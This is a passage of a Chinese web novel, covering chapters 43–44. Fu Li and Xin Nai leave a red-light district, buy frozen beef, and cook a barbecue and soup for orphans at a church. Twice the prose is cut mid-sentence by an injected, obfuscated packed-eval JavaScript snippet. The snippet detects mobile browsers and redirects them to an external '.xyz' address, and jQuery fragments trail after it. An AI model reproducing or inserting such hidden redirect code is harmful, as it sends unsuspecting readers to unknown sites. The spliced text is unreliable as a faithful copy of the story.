如果不是扶黎正感受着无孔不入的寒意在自己领口打转,光看她们打扮或许会认为这里正值夏季,但只要厚着脸皮仔细去看她们裸露在外的皮肤,就能看见被冻得竖起的汗毛以及泛红的肤色。 他不由自主捂紧衣服,口鼻呼吸间瞬间弥漫出一片白色水雾,可见外面温度确实很低。 信乃对此视若无睹,娴熟地穿行在大街小巷,没有人会纠缠一个小孩儿,扶黎沾了他的光,一路上都没有人过来对着他招揽。 有人流的地方就有摊贩小吃,虽然路边的情状有些不宜入目,但并不影响食物的美味,避开稍显密集的红灯区,为在这边生活的人以及过来的客人所开设的食肆便多了起来,少了夸张的红灯笼氛围,这里看起来和普通的商业街也没什么区别,只除了醉鬼会多一些。 信乃一直没定下来晚饭要吃什么,只是在路边小摊一会儿买个鸡肉串,一会儿买个烤鱿鱼,怀里还揣着一包糖炒栗子。 扶黎忍不住问他:这晚饭还吃吗? 信乃腮帮子鼓鼓囊囊正嚼个不停,闻言使劲咽了咽嘴里的食物这才道:“这边酒馆太多正经吃饭的饭馆却没几个,我想了想还是不在这边吃了,一进去就特别容易跟那些酒蒙子碰上,他们吵起来不仅声音大而且完全不听劝,很影响吃饭的心情,所以不如就在路边买点带回去吃好了。” 再怎么说这里也是花街,来这儿的没几个正经人,酒精一上头打架的事情就特别多,争风吃醋更是常有。 扶黎好奇问:“你好像很熟悉这里?” “是啊。”信乃神色淡淡:“之前因为办事来过几次,看着繁华内里却一团污糟,里面的女人也多是些可怜人,想离却离不开只能活一天算一天,跟我这样活一天算一天的相比也是另一种痛苦。” 说到这里他停顿一瞬,仿佛在整理心情:“后面我就来得很少了,虽然也有庄介不许的缘故,但更多还是因为这里没有一点活力只有伪装出来的热闹,时间一长便会产生厌倦感,渐渐就失去了来的兴趣。” 说着信乃忽而指了指远处的阑珊灯火,夜幕已经彻底降临,城中灯火一点点亮起,仿佛一片片星子连成了星河。 扶黎沉默着站在一旁,或许是被信乃忽如其来的低落情绪所感染,总觉得现在的自己不太适合开口,本以为对方会再说些类似剖白内心的心里话,没想到等了半天信乃却冒出一句——天黑了,赶紧买完回去吧。 扶黎:……嗯? 这……绝对是不好意思了吧。 跟还不是太熟的人讲了心里话,反应过来后就会后悔自己太多嘴这种情况也不是没有。 哎呀,还怪可爱的~~ 43.第 43 章 短暂的花街之旅就这么结束了,扶黎对此并没有什遗憾,他也不是真的想来逛花街,只是想找个熟人带他认认路记下地形,方便日后单独行动。 信乃虽然不知道扶黎真实目的,却无意中带他在花街走了走街串巷,还包括许多一般人不知道的小路,也算无心插柳柳成荫。 扶黎的目的是达成了,信乃的心情却变得不怎么样,明明来之前他看着并不抵触表情也很正常啊,难道这就是所谓的触景生情吗? 寂静夜色里,背后是喧闹花街,眼前是僻静小路,树影憧憧。 信乃低头走在月色下怀里抱着一堆小吃,而扶黎则提着几袋鲜肉,店家说是早上刚杀的牛,但这样的温度哪怕只在外面放一个小时,也足以将肉冻得硬邦邦,现在他就完全分辨出肉是前几天杀的还是几个小时前杀的。 不过这都不重要,就算是几天前宰杀,冻成这样子肉肯定坏不了,也称得上新鲜,唯一的难点大概是冻得硬邦邦想切开很不容易,解冻也要解上半天,这么一想好像想立刻给孩子们吃上肉有点不太可能。 走在一旁的信乃这会儿终于收拾好情绪,说出了沉默的返程路上第一句话:“这么多肉真的要你一个人切吗?” 没错,在买的时候扶黎和信乃就已经考虑到这个问题了。 肉铺老板跟他们说如果是早上过来还可以替他们把肉分好,那时候肉鲜灵灵的容易下刀,晚上就不行了,早上没卖掉的会全部切成合适大小冻在案板上,来晚了就只能一块块的买,不提供切几斤几两的服务。 信乃看见案板上的冻肉迅速心生退意,刚想说不买了,扶黎却表示自己可以处理,再加上买其它食物更麻烦,所以最后他们还是把肉带了回去。 这会儿听见信乃带着担忧的话语,扶黎低头看了眼手上装肉的袋子,肉买了不少袋子都拿了好几个,提在手上也很重,他抬头笑笑:“没关系,我力气很大,不然也不能一路提着这么重的东西都不觉得累。只是光有肉就够了吗?吃多了大家会不会觉得腻。” 信乃摇摇头:“孤儿院是一年到头都碰不上几次荤腥的地方,他们只会巴不得多来点肉,吃到腻这种事怎么可能会发生。” “那忽然吃这么多肉肠胃会不会受不了?”扶黎又开始担心起其它事情来:“万一大家集体拉肚子了怎么办?我不想好心办坏事啊。” 想想都觉得头皮发麻,要是孩子都拉肚子了,都不知道要怎么在这里找到足够的药。 还有到时候教会的茅坑会不会供不应求,他们不会随便在院子里挖个坑就拉吧…… 想象力太过丰富就是这点不好,什么事只要开个头就能自己设想出十个八个的走向。 他甩甩头将过于天马行空的画面甩走,正要跟信乃商量是不是把量减少一些。 “不会让他们一次性吃掉的。”信乃对此早就轻车熟路,也安了扶黎的心:“像之前的话每人能吃上有小半碗肉沫的肉汤就已经很奢侈了。” 说着信乃又看了眼扶黎手里提着的牛肉,不由心里酸酸的,这位可是真有钱,十几斤的牛肉说买就买,付钱的时候眼睛都不带眨。 他什么时候才能过上这样不用考虑价格,随便吃肉的生活呢? “咳!总之完全不用担心,教会的地窖里有存储足够的蔬菜。”信乃猛地将头转回去,笃定道:“虽然买不起肉,但还不至于连蔬菜都供应不起,地窖里有很多土豆、大白菜、南瓜以及萝卜,取一些出来和烤肉一起吃,剩下的肉就留着之后煮肉汤喝,这边冬季很长,能时不时喝上一碗热腾腾的热汤身体就会舒服很多,也不那么容易生病。” 回到教会时他们受到了热烈欢迎——主要是欢迎他们带回来的食物,小吃即使很好的包在袋子里被带回来,但外面气温实在低,再加上走回来花了不少时间,早就冷掉了。 庄介干脆在院子里架了火,然后搬出好多年不用差点生锈的铁板,用最原始的方式给它们加热。 没有更好的方式了,但这些小吃如果不加热就吃很容易闹肚子,其中有些还是荤的,冷下来后白色的油就会板结在上面,看着就很没有食欲。 引火的枯草被点燃,火舌在木柴上舔舐,趁着火大起来之前庄介先将铁板架上去。 买来的小吃全部拿出来分门别类,果脯糖糕之类的可以直接吃,肉类的就扔到铁板上再加热一遍。 这些食物本来味道都不一样,放到铁板上后难免调料混合到一起,以至于到最后味道都变得差不多,不过吃起来还是很美味的。 教会里十几个孩子大概每人能分到两口的样子,难得的小零嘴让大家吃得直舔嘴。 最后当然是重头戏。 重达十多斤的牛肉! 扶黎把那家肉铺剩下来的肉都给包圆了,往桌上一放非常有牌面。 庄介对着肉有点不知该从何下手:“肉冻得太结实了,这里的刀都是吨的,应该切不动。” “有多钝?拿来我看看。” 刀一拿到手扶黎脸色就变了,他颤颤巍巍举起刀,瞳孔地震:到底是用这把刀干了什么,才会让刀口豁得跟老鼠啃过的木头一样! 没办法,这把刀是派不上用场了,拿来切蔬菜都够呛。 “没有别的刀了吗?平时拿来切东西的时候,你们就没有觉得有什么不对劲?” 庄介为难道:“其实这边很少会用到刀,蔬菜之类的都可以用手撕,土豆南瓜也是整个蒸,蒸好后大家自己拿餐具挖着吃,偶尔需要刀切的时候就在磨刀石上磨两下,因为用的次数实在少,这把刀也勉强够用。” 扶黎嘴角微抽:“既然用的少,刀怎么会变成这样?” “我来的时候就这样了。”庄介笑着把刀搁回去:“其实也还好,它除了拿来切切萝卜红薯之类的也没什么机会去切其它东西,所以之前都没觉得有什么不方便。” 你没觉得有什么不方便,真正不方便的时候不就来不及了啊! 扶黎无力吐槽,不得不问出一句:“说实话,你们是不是连买把刀的钱都没有?” 要真是这样他也不是不能掏钱给他们买两把,那么贵的牛肉都买了也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794555|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差两把刀的钱,本来今天就是过来做慈善的。 “不是,绝对不是!”似乎生怕扶黎下一秒就冲出去买刀,庄介矢口否认:“没有那么穷,真的只是用不上所以一直没换而已。” 扶黎用怀疑的目光看他,然而庄介的眼神分外真诚,实在是看不出有在胡说。 “好吧,那磨刀石在哪里,我去磨一磨刀刃,希望能有用吧。” 好在磨刀石还算靠谱,没像刀一样破破烂烂,扶黎把其他人都赶跑了,自己一个人坐在小板凳上吭哧吭哧地磨。 大家感动得稀里哗啦,真是太能干太善良了! 善良又能干的扶黎埋头磨了一会儿,忽然抬起头鬼鬼祟祟东看西看,像只偷偷摸摸的小老鼠。 这个地方在院子最里面,和草地间还隔着一堵矮墙,所以只要不绕过来就看不到后面发生了什么。 见四外无人,扶黎伸手抚过刀刃,一阵白光闪过,卷边的刀刃迅速恢复如初,但豁口还是大喇喇一如既往。 扶黎没什么表情的在刀刃上又抹了一下,这次豁口变小了一点,只要他想,这点豁口能马上消失不见,刀也会焕然一新。 不过想想还是算了,哪有进去一把破刀,出来一把新刀的,剩下的还是自己磨磨算了。 多亏他技术“精湛”,虽然过程艰难但最终结果是好的,刀勉强被磨成了看不到豁口的状态,虽然不能吹毛立断,但只要力气大点至少切肉不成问题。 回来时几袋牛肉已经分好,一部分存起来留待之后再吃,而剩下的部分就是今天的主食。 冻得硬邦邦的牛肉就像块石头,孩子们围在桌前,有几个胆子大的试着伸手去摸,然后被冻得迅速说回来。 “这个真的是给我们吃的吗?好大一块啊!” “那当然,信乃老师这么说那肯定就是真的,听说是他今天带来的那个朋友特意买了送我们吃的,厨房还有呢。” “噢,他好像还给了佳穗果干,虽然我只分到两个,但是好好吃啊~~” 难得一天里能吃到这么多好吃的,孩子们都很开心,聚在一起“叽叽喳喳”说个不停。 扶黎举着刀走过来一看,这状况没位置给他进去啊,于是他大声道:“让一让我要切肉了,肉切不完大家今天就都吃不上。” 话音刚落众人作鸟兽散,扶黎顺顺当当站到桌前,牛肉带着冰碴子,手一抹细碎的冰沫扑簌簌往下掉,拿刀敲一敲只留下一点白色印子。 庄介不是很信任地看着这把状态看起来好很多的菜刀:“它好像切不了的样子,真的不需要铡刀吗?” “按常理讲肯需定要。”扶黎一刀劈下去,“哐”一声肉顺利分成两半:“但现在不是没有嘛,只能大力出奇迹。” 这一下给庄介震住了,他半晌没说出话来,等扶黎切出一盘子肉这才上前端去烤盘上。 切得薄薄的牛肉片落在滚烫的铁板上,立刻“滋滋”冒出热气,肉片迅速卷边变成深褐色,铁板事先刷了一层薄薄的油,这会儿和化了的冰水一接触就开始溅油星子。 44.第 44 章 庄介面不改色,油星子都快蹦脸上了依然坚守岗位,倒是那些围在铁板盘前的孩子因为个头不够被溅个正着,一个个吱哇乱叫着跑走,又因为肉的味道太香舍不得跑远,最后就变成隔着一米远的距离在外面围成了一个圈的样子,像一群正在讨食的猫猫狗狗。 扶黎边切着肉边分心去看那边,他自己逛花街的时候吃饱了,这会儿也不怎么饿。 倒是信乃因为半路提起从前经历心情低落,以至于后半程都没怎么吃,这会儿肚子饿了还不好跟孩子们挤,只好在扶黎身旁绕来绕去,绕得扶黎头晕。 “你是想试试切肉吗?”扶黎只故作不知,笑着将刀递过去。 刚切过肉的刀上面除了冰碴子化成的水,还有肉末和肥油,一看就油腻腻的。 信乃犹豫地看了眼刀,随即往后退了一大步摇头:“我不要,切不动。” 这可不只是力气大就能行,另一只手的手掌还要配合压在刀背上施力,尤其是切比较硬的部分时,低头看看自己细皮嫩肉的双手,再看看扶黎同样细嫩的手心,信乃陷入沉思:人和人之间的差别有那么大嘛,他怎么跟没事人一样? 刀背那么窄,手压在上面用的力气越大就会越痛,一般人可能连切一片都坚持不下来就会嗷嗷叫着甩手放弃。 再看看扶黎,连续切了好几盘却面不改色,手掌心也连一点印记都没有——恐怖如斯。 “哼~”扶黎从善如低头继续切起来,咔咔几下又切出来一小盘:“在我这里可没有好吃的,只有生牛肉,先填饱肚子你应该去庄介那边才是。” “他那边已经被围得一只脚都伸不进去了。”信乃撇撇嘴:“我总不能和一群比我小那么多的孩子抢肉吃。” 扶黎挑挑眉:“有什么关系,你看起来也没比他们大多少,没要担心这些有的没的啦。” 说着他朝那边眼神示意:“喏,再不去连肉末你都抢不到。” 信乃闭了闭眼努力保持沉稳:“……虽然你说的都是实话,但真的很伤人。” 不管怎么说信乃就是不乐意过去,对此扶黎大为不解。 毕竟就这么几天的相处都能看得出来他不是个在乎这些的家伙,怎么可能因为区区年龄问题就不好意思呢。 正想着,忽然一道灵光划过脑海,扶黎不确定地看了眼显得无所事事的信乃:该不会是他最近身体太虚,没自信抢过别人才不去的吧…… 别说,越琢磨就越觉得是这样。 嘿嘿! 扶黎坏坏一笑,冲着对面就喊:“诶!你们别光顾着自己吃啊,赶紧把你们信乃老师带走,他可是自己都没吃饱却给你们带了那么多小吃,你们要谢谢他哦~~” 信乃睁大了眼不可置信的看着他,仿佛在说:你在说什么?! 他还想再争辩两句,比如钱都是你付的我只是做苦力,再比如明显你拎回来的牛肉更重。 但是已经来不及了,处在兴头上的大小孩子们就像是一头头小牛犊冲了过来,他们有的抓住信乃的手,有的抓住信乃的衣服,硬生生将人拽走了。 身体太虚的信乃不仅挣脱不得,而且因为反抗的力道微乎其微孩子们还以为他很乐意呢。 迎着信乃幽怨的眼神,扶黎回以灿烂微笑,于是对面的眼神更加幽怨了。 赶走了在旁边绕来绕去只会添乱的小蜜蜂,扶黎终于可以心无旁骛地干活了,手里的刀某人加速,几乎快出残影,如果这时有人过来看一眼就会发现,就像切豆腐一般坚硬的牛肉被丝滑地切成了一片片,就算是真的切豆腐大概也没几个人能这样切得又快又好。 俗话说的好真正爱吃的人大多会有一手好厨艺,扶黎就是其中的典型代表,他有着一手光看外表完全看不出来的好厨艺,最初阿福阿年也是他手把手教会的,在把他们教会后自然而然扶黎就开始懒得自己动手。 虽然不怎么做了,手艺却是没忘,偶尔还会自己下个厨试个新菜什么的。 几大块牛肉被以不可思议的速度切成了牛肉片,剩下的一小块扶黎没有继续切片,而是剁成肉末用刀刮进了空盘子里。 几大盘肉被同时送到烤盘边,庄介拿铲子的手都停顿了一下,他看看面前堆得满满的肉,又去看一旁专门用来切肉的木桌——只有一块砧板和一把立在砧板上的刀。 “都切完了?”庄介有些不敢相信:“我还想着弄完这一盘去帮着你一起切,你就自己全部切好了?” 扶黎挑挑眉理所当然道:“那可不,谁有耐心在那儿慢慢切,能速战速决当然要尽快。” 说完他还甩甩手,皱着眉头一副略微嫌弃的模样:“一手油感觉滑腻腻的,这里有洗手的东西吗?” “有洗手的香皂。”庄介撂下铲子让信乃暂时接手:“外面那块用完了,我去拿块儿新的出来。” 除了香皂,出来的时候庄介还提了暖水壶,盆里先倒上一点开水再掺上冷水就是正正好的温水。 “谢谢,我还担心冷水洗油难洗呢~”扶黎笑呵呵道。 冷冰冰的手泡进水里,再打上一层肥皂沫,这香皂就是普普通通的白色方形肥皂,没有现代花里胡哨的工艺和精油添加,不过闻着还挺香,淡淡的花香味,很清新不刺鼻手也能洗干净,这大概就是现世常说的那种纯手工皂吧。 洗完手舒服多了,庄介端着烤好的肉过来要他尝一尝。 扶黎吃了一块就摆摆手让他端走:“我不饿,尝尝味儿就行了,剩下的端走给他们吃吧,肉看着多十几张嘴一分也没多少,还有你自己也多吃点,忙了一天什么都没吃吧?” 庄介却不怎么在意的样子,只道:“还行不是很饿。” 扶黎用不相信的眼神看他:干了一下午的体力活儿,晚上还要正面面对烤肉的香味,怎么会不饿?难道属骆驼的不成,一顿顶半月? 想着想着,扶黎差点给自己整笑了。 “咳咳!”这都不重要,重要的是扶黎发现自己今天不知道怎么了,完全闲不下来,总是在找活儿干。 这不吃完了肉扭头一看一群人围着烤肉的地方半天才能吃上一块,其它时候只能啃两片菜叶子解解馋就觉得不太行,这啥时候能吃饱,有肉吊着他们都不好好吃萝卜白菜了。 正好这边有搭好的吊锅,扶黎立刻征用,刚刚剁好的肉末就不让庄介做了,他自己找了萝卜还有厨房剩下的豆腐。 豆腐便宜厨房有很多,主打量大管饱,就是被冻过之后口感会有变化,煮个萝卜豆腐牛肉汤,虽然这个食材搭配奇怪了点,牛肉也只是牛肉末,但都不是难吃的东西,好好调一下味最后成品应该也会很不错。 不过因为牛肉都被扶黎切完这一缘故,庄介感觉很过意不去,这次坚决不让扶黎一个人处理食材,烤肉的活儿比较简单,用庄介对信乃说的话就是——只要有手就能干。 因此即便信乃极力拒绝,在庄介核善的笑容威慑下,信乃还是拿起铲子,表情麻木地烤起了肉,心里却在不停碎碎念:我为什么在这里?肉要是焦了可不怪我,都怪庄介说什么只要有手都能干。 不好!洋葱好像要焦! 啊啊啊啊!真是要疯了! 从没做过这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869990|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,最多只是在烤网上一次性烤过一两片肉的信乃为此手忙脚乱。 不过凡事都有第一次,这也是一种生活经验啦。 放下信乃那边不提,这边扶黎的萝卜豆腐牛肉汤已经开始了准备工作。 刚刚洗过手的扶黎坐在一旁指挥庄介将萝卜洗好,然后削皮切块,豆腐也切成大块儿,很快食材就在案板上摞成高高一堆。 看那边快结束了,吊锅下的柴火被扶黎提前点起来,锅里的水很快“咕嘟咕嘟”冒起泡泡。 扶黎:“把肉下进来吧,还有去腥的葱姜也一起。” “马上。”在围裙上稍微擦了下手,庄介手脚利索地将肉放进锅里,葱打结和姜块也一起下锅。 盖上锅盖稍稍等上一会儿,揭开时上面浮了一层白色沫子,拿汤勺撇去浮沫,第二步放萝卜,萝卜要稍微煮久一点不然吃起来可能会发苦,所以至少要煮二十分钟,快出锅时再放豆腐,豆腐本来就是熟的,不需要煮很久就能吃。 炖汤的步骤有条不紊,扶黎一边放萝卜一边还有点可惜道:“买牛肉的时候应该顺便要点牛骨的,光是肉味道有些不够,加上牛骨把里面的骨髓都炖出来的话,汤的味道会更香。” 脂肪是美味的来源尤其是对缺少荤油的人来说,缺了骨头这次的汤就没那么好喝了,不过也没办法,只能尽可能用现有食材炖出美味的汤了。 随着锅中食材的炖煮,牛肉的鲜香伴着萝卜的清甜,一股难以阻挡的鲜味在院中慢慢弥漫开来。 原本守在烤肉面前的孩子们也忍不住频频回头,看看面前的烤肉再看看架在火上不知道在炖煮的什么东西,一个个悄悄咽起了口水。 扶黎慢悠悠揭开锅盖,满目水汽铺面而来,他挥挥手等水汽散开后拿筷子戳了戳萝卜,因为切得比较大块所以他还担心会不会不容易煮透,但可能是因为下面柴火烧得够旺,萝卜轻轻一戳就穿透了。 扶黎满意地点点头,放了筷子下豆腐,就这样敞着盖子再稍微煮一煮就能吃。 “对了,刚刚忙得有件事忘了说。”扶黎擦擦手,冷不丁来了句。 庄介微微抬头看他:“什么事?” 扶黎想了想道:“今天从花街回来的半路上我们好像被人跟踪了,路上我数次借着拐弯的机会往身后看,但却没有发现可疑之处。” 庄介听完不由蹙起眉头,他问:“这件事信乃知道吗?” 扶黎摇摇头:“一路上他都心不在焉的,大概是什么都没察觉。” 这件事一说庄介便显得忧心忡忡,他拿着勺子在锅里无意识地搅来搅去,豆腐块在浮浮沉沉中显得岌岌可危,在被绞碎之前扶黎连忙拿回勺子。 他奇怪地看了庄介一眼:“我也没说是针对你们的啊,你忽然这么焦虑干什么?” 庄介苦笑一声,无奈地摇摇头:“大概是被之前的事影响到了,最近一遇上事就会不自觉往糟糕的方向想,再缓缓吧等过段时间会调整回来的。” 扶黎从锅里盛了一碗汤放到他面前:“喝点汤暖暖胃。” 刚从锅里舀出来的汤冒着热气,碗面一层清亮的油花,刚刚撒上去的葱末更添几分诱人,让人食指大动。 “先吃饭其它事之后再说。”扶黎将汤碗强行塞到庄介手里,不让再胡思乱想:“跟踪的人未必是你想的那个,这世上又不是只有玉梓姬才会派人跟踪,我感觉着也不太像。” 跟踪他们的比起人感觉更像是只动物,所以才会那么自如地隐蔽,如果是人他不可能连衣角都没看到,这么一说……难道是那只在街上袭击人的东西?